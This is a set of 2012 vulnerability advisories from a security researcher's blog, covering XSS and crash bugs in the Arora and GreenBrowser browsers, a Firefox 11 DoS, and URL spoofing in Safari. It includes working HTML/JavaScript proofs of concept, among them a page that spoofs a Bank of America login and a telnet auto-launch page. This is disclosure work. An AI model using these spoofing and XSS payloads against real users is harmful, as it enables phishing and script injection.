Arora qrc: dialog XSS and DoS

Tuesday, July 31, 2012
########################################
Arora qrc: dialog XSS and DoS
Vendor URL:http://code.google.com/p/arora/
Advisore: http://lostmon.blogspot.com.es/2012/07/arora-qrc-dialog-xss-and-dos.html
Vendor notify:NO  exploit available:yes
#######################################

Arora is a lightweight cross-platform web browser. It's free (as in free speech and free beer).
Arora runs on Linux, embedded Linux, FreeBSD, Mac OS X, Windows, Haiku, and any other platforms
supported by the Qt toolkit.

Arora uses the QtWebKit port of the fully standards-compliant WebKit layout engine.
It features fast rendering, powerful JavaScript engine and supports Netscape plugins.

Arora contains a two flaws that allows a remote cross site scripting (XSS) attack and DoS.

This flaw exists because the application does not validate the qrc: Uri dialog and
internal error pages. This may allow a user to create a specially crafted Link/url that
would execute arbitrary script code in a user's browser within the trust relationship
between their browser and the qrc handler ( local ).

Also Arora has a second flaw that allow Denial of service or app to crash in a special link.


#################
Proof of Concept
#################

create a html doc and write this code, click in the link and it execute
the xss and if accept the alert box, the app crash :)
 <html><body>
<a href='qrc:/"><script>alert('Sorry, Now Your App Crash!');</script>'>Arora about: handler XSS</a>
</body></html>

################
Versions afected
################

Arora 0.10.0 Windows Qt 4.5.3

##################
Solution
###################

No solution was available at this time !!!

 ################ €nd ####################

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Firefox 11 DoS using exponential string growth and document.write()

Sunday, April 22, 2012
#############################################
Firefox 11 DoS using exponential string growth and document.write()
Vendor URL: http://www.mozilla.org
Advisore: http://lostmon.blogspot.com.es/2012/04/firefox-11-dos-using-exponential-string.html
Vendor Bugzilla: https://bugzilla.mozilla.org/show_bug.cgi?id=744637
Vendor Notify: YES
##############################################

Mozilla firefox for windows in prone vulnerable to a denial of service condition. This think crash is tigger when load a malformed page with a malicious script, that fill up the memory.

####################
Versions affceted
####################

Mozilla Firefox 11.0

##############
Solution
###############

No solution was available at this time!!

#############
Proof Of Concept
##############

see https://bugzilla.mozilla.org/show_bug.cgi?id=744637


################ €nd ######################

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

GreenBrowser About: dialog XSS and stored XSS

Tuesday, March 27, 2012
########################################
GreenBrowser About: dialog XSS and stored XSS
Vendor URL:http://www.morequick.com/
advisore: http://lostmon.blogspot.com/2012/03/greenbrowser-about-dialog-xss-and.html
Vendor notify:NO  exploit available:yes
#######################################

GreenBrowser is your best choice of flexible and powerful green web browser. GreenBrowser is free to download and use.

GreenBrowser contains a two flaws that allows a remote cross site scripting (XSS) attack. This flaw exists because the application does not validate the about: Uri dialog and last visited pages. This may allow a user to create a specially crafted URL that would execute arbitrary script code in a user's browser within the trust relationship between their browser and the server.

Also the browser save the last URL visited and then, if a user create a crafted link and clin in, it is a stored XSS because when open the browser by default it open http://www.5igb.com/StartEn.htm and it have the last visited URL... The xss is executed in this URL :) page and browser not validate LastVisitWriteEn() before render to the user.

You can see this function here => http://www.5igb.com/function.js

#################
Proof of Concept
 #################

create a html doc and write this code, click in the link and it execute the xss close the browser and open it again, in last visit pages we have the url of PoC and it executes the stored XSS

 <html><body>
<a href='about:"><script>alert(1)</script>'>GreenBrowser about: handler XSS</a>
</body></html>

 ################
Versions afected
 ################

6.1.0117 (2012-01-17 10:22:02)
 6.1.0216 (2012-02-16 21:37:10)

 ##################
Solution
 ###################

No solution was available at this time !!!

 ################ €nd ####################

-- 
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Safari for windows 5.1.5 and prior and IOS URL spoof window.open() test case

###########################################
Safari for windows 5.1.5 and prior URL window.open() spoof
Vendor URL: http://www.apple.com
Advisore: http://lostmon.blogspot.com/2012/03/safari-for-windows-515-and-prior-and.html
Vendor Notify: YES Exploit available: YES
 ##########################################

 ##############
History:
 ##############

 Safari has a serious issues with protocol handlers, for long times in diferents protocols and handlers i had report four or five vulnerabilities in protocols handlers. i had report a telnet issue in safari for windows, what Apple patched in silence.

Today i download and test Safari for windows 5.1.5 only for look if the vulnerability that i report in 03/2012 is patched.. see => http://lostmon.blogspot.com/2012/03/safari-for-windows-and-ios-url-weakness.html Safari for windows 5.1.5 have the same vulnerability ummm....

 ############
Description
 ############

 Safari set the bar higher for web browsers. It introduced sophisticated design elements that made browsing a joy. Easy to use, Safari stayed out of your way and let you effortlessly navigate from site to site. Safari for windows Ignore what protocol handler we use, it don't check if protocol is registered or simply don't check any handler... In the case what i talk.... A pseudo url spoof can be posible let's to see some examples to undestanding the nature of this vulnerability.

Case  "about:" Protocol handler. type in addressbar "about:blank" . and it shows about blank page, this is what we espect and this template is OK. Type in addressbar "about:something" and the title and URL shows the same (about:something) type "about:http://www.bankofamerica.com" and the tithe shows the same...

 Now the best thing is write a title to simulate the title of original page and write some content in this window (about:http://www.bankofamerica.com) the URL show it but in reality we are in about:blank page...

 ############
 PoC's
 ############

Create a function to open a new window and write location...

 var wx; function invokePoC() { wx = open("about:http://www.bankofamerica.com/login","newwin"); setInterval("doit()",1); }

 And create a function to write in the result window.

 function doit() { wx.document.open(); wx.document.write("<title>spoof title</title><body><h1><b>Hello !! i'm a Spoofed Site !!!</b></h1></body>"); }

 With this a remote attacker can do spoof o phishing attacks, but if we think that safari has issues in handlers the best attack is delete about: protocol handler and simulate bankofamerica for example. we can  oncatenate a www as a handler and concatenate http: handler to get a nice url :)

##########################
Safari for windows URL Spoof
 ##########################

 This PoC simulate banc of america URL and content. The image is enbended via Data: schema.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
  <title>Safari for windows 5.1.5 and prior URL spoof window.open() test case.</title>
  <script type="text/javascript">
var wx;
function invokePoC() {
  wx = open("http://www:bankofamerica.com/login","newwin");
  setInterval("doit()",1);
}
function doit() {
  wx.document.open();
  wx.document.write("<title>Bank of America | Home | Personal</title><body><img src='data:image/gif;base64,R0lGODdh8QLUAfcAAAAAAAAAQAAAgAAA/wAgAAAgQAAggAAg/wBAAABAQABAgABA/wBgAABgQABggABg/wCAAACAQACAgACA/wCgAACgQACggACg/wDAAADAQADAgADA/wD/AAD/QAD/gAD//yAAACAAQCAAgCAA/yAgACAgQCAggCAg/yBAACBAQCBAgCBA/yBgACBgQCBggCBg/yCAACCAQCCAgCCA/yCgACCgQCCggCCg/yDAACDAQCDAgCDA/yD/ACD/QCD/gCD//0AAAEAAQEAAgEAA/0AgAEAgQEAggEAg/0BAAEBAQEBAgEBA/0BgAEBgQEBggEBg/0CAAECAQECAgECA/0CgAECgQECggECg/0DAAEDAQEDAgEDA/0D/AED/QED/gED//2AAAGAAQGAAgGAA/2AgAGAgQGAggGAg/2BAAGBAQGBAgGBA/2BgAGBgQGBggGBg/2CAAGCAQGCAgGCA/2CgAGCgQGCggGCg/2DAAGDAQGDAgGDA/2D/AGD/QGD/gGD//4AAAIAAQIAAgIAA/4AgAIAgQIAggIAg/4BAAIBAQIBAgIBA/4BgAIBgQIBggIBg/4CAAICAQICAgICA/4CgAICgQICggICg/4DAAIDAQIDAgIDA/4D/AID/QID/gID//6AAAKAAQKAAgKAA/6AgAKAgQKAggKAg/6BAAKBAQKBAgKBA/6BgAKBgQKBggKBg/6CAAKCAQKCAgKCA/6CgAKCgQKCggKCg/6DAAKDAQKDAgKDA/6D/AKD/QKD/gKD//8AAAMAAQMAAgMAA/8AgAMAgQMAggMAg/8BAAMBAQMBAgMBA/8BgAMBgQMBggMBg/8CAAMCAQMCAgMCA/8CgAMCgQMCggMCg/8DAAMDAQMDAgMDA/8D/AMD/QMD/gMD///8AAP8AQP8AgP8A//8gAP8gQP8ggP8g//9AAP9AQP9AgP9A//9gAP9gQP9ggP9g//+AAP+AQP+AgP+A//+gAP+gQP+ggP+g///AAP/AQP/AgP/A////AP//QP//gP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mDl1WPnneiG9mBHxl8OJo1lvl9dQ9QbcmYzGsVQIvZb/MXXWwthF7ZU89DUNo5kA9ZhWFbkj3bfgDWcgF410y1R4K2y321pI+bo6Z1kc5bewd1q03ToArbjvxvriylrlM6SKN5lpqHj/DhrF1XruJbruabrurbru8brvNbrvebrvvbrvwbswBbswQ0m7MI27MNG7MQOvIAAADs='/><h1></b>Hello !! i'm a Spoofed Site !!!</b></h1></body>");
}
  </script>
</head>
<body onload="invokePoC()">
<h1>Safari for windows 5.1.5 and prior URL pseudo-spoof window.open() test case.</h1>
<noscript><p>this testcase requires JavaScript to run.</p></noscript>
<p>First Click in this link ==> <a href="http://www.bankofamerica.com/login" onClick="location.reload();" target="_blank">invoke PoC</a></p>
<p>and Look in result window, the address bar , show The url and if you write
any url in the address bar, the browser can't navigate to it. This issue can be
used to spoof sites or pishing attacks. Vulnerable Safari for windows 5.1.5 and
prior versions, also Safari for IOS is Too vulnerable.
</body>
</html>
####################### €Nd ######################

--
 atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
 La curiosidad es lo que hace mover la mente....

Safari for windows and IOS URL weakness

Friday, March 23, 2012
#####################################
Safari for windows and Ios Url Spoof
Vendor URL: http://www.apple.com
Advisore:http://lostmon.blogspot.com/2012/03/safari-for-windows-and-ios-url-weakness.html
Vendor notify: YES PoC available: YES
#####################################

#############
History
#############

Yesterday i read a New about safari for IOS
Url spoof vulnerability at http://iclarified.com/entry/comments.php?enid=20858
I want to clarify that i had report this vulnerabiliy in 12/03/2011 to apple 
product security across MSVR. (i had the mails that demostrate it)

So apple Don't patch it and this vuln is one year old.

I had report to a telnet automatic execution in safari for windows...
and they have patch in silence ... no credits no info...

THis is the response about telnet execution from apple:

" Issue 1:  We do not see any security implications with allowing telnet connections.  
There is an existing enhancement request for OS X to provide a warning dialog."

Yes but not in windows and if you doing apps for windows you can't say it does not work in OS X. It works in Safari for windows prior to 5.1.4

Issue 2: URL Spoof 

I have found few times a go a RCE in IE 6, 7 and 8 see MS011-57
also it affects to Qtweb browser and safari for windows 
i report it to apple and sit quiet and wait till apple patch.

So whats happened?¿ after a year of report he vuln continue working and other 
researchers had publish it ( http://majorsecurity.net )
but i like to clarify that i report it to apple one year a go !!!

Response from apple:

"Issue 2:  The outside third party you are coordinating with already sent this issue to us on January 10, 2011.  It does not appear possible to spoof arbitrary URLs in the address bar (i.e. while the title may say "Bank of America" in the proof-of-concept, you can't spoof the address bar to read https://bankofamerica.com) Given that the most serious impact of this issue is that you can prevent the userfrom using the address bar in the newly created tab, we do not have a timetabletoresolve this issue."

look his PoC / exploit and look my code PoC 

His code => http://majorsecurity.net/html5/ios51-demo.html
My code => http://lostmon.blogspot.com/2011/10/qtweb-internet-browser-url-weakness.html
this is the similar code that i had report to apple.


Bad Words for apple on security !!!!!!!!!!! and bad work with security researchers :/

################
Sample codes
################

############ BOF Safari.html #################

<html><title>Safari unauth telnet execution by lostmon</title>
<script type="text/javascript" language="javascript">
function redirect()    {
location.replace("telnet:192.168.1.1");
}
</script>
<body onLoad="redirect();">
</body>
</html>
############### EOF ################

2- URL Spoof or about:blank spoof
This issue can use to spoof url locations or to show fake content in
without any URL in the address bar
- open the PoC and click in Invoke PoC and look at the address bar, it
does not show any url....(safari2.html)
-open the PoC and click in invokePoC (safari3.html) Look at addressbar
it shows "about:blank" but itn't at about:blank.
and look at the page title :) This can use to spoof content.


############## BOF safari2.html #################

<html>
<head>
 <title>About:blank Url spoofing using document.open() testcase</title>
 <script type="text/javascript"><!--

var wx;
function invokePoC() {
 wx = open("","newwin");
 setInterval("doit()",1);
}

function doit() {
 wx.document.open();
 wx.document.write('OWNED OWNED OWNED');
}

// -->
 </script>
</head>
<body>
<h1>About:blank Url spoofing using document.open() testcase</h1>
<noscript><p>this testcase requires JavaScript to run.</p></noscript>
<p><a href="javascript:invokePoC();">invoke PoC</a></p>

</body>
</html>

################# EOF ################################

#################### BOF safari3.html ###################

<html>
<head>
 <title>About:blank Url spoofing using document.open() testcase</title>
 <script type="text/javascript"><!--

var wx;
function invokePoC() {
 wx = open("about:blank","newwin");
 setInterval("doit()",1);
}

function doit() {
 wx.document.open();
 wx.document.write('<html><title>Bank Of America</title>OWNED OWNED
OWNED<br></html>');
}

// -->
 </script>
</head>
<body>
<h1>About:blank Url spoofing using document.open() testcase</h1>
<noscript><p>this testcase requires JavaScript to run.</p></noscript>
<p><a href="javascript:invokePoC();">invoke PoC</a></p>

</body>
</html>
##################### EOF ##############################

I would like to thnx MSVR for his preocupation on this issue and for talk about it with apple. MSVR is a Very Good program and they do A VERY GOOD WORK on security !!!!!
-- 
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....


 

Browse

About:Me

My blog:http://lostmon.blogspot.com
Mail:Lostmon@gmail.com
Lostmon Google group
Lostmon@googlegroups.com

La curiosidad es lo que hace
mover la mente...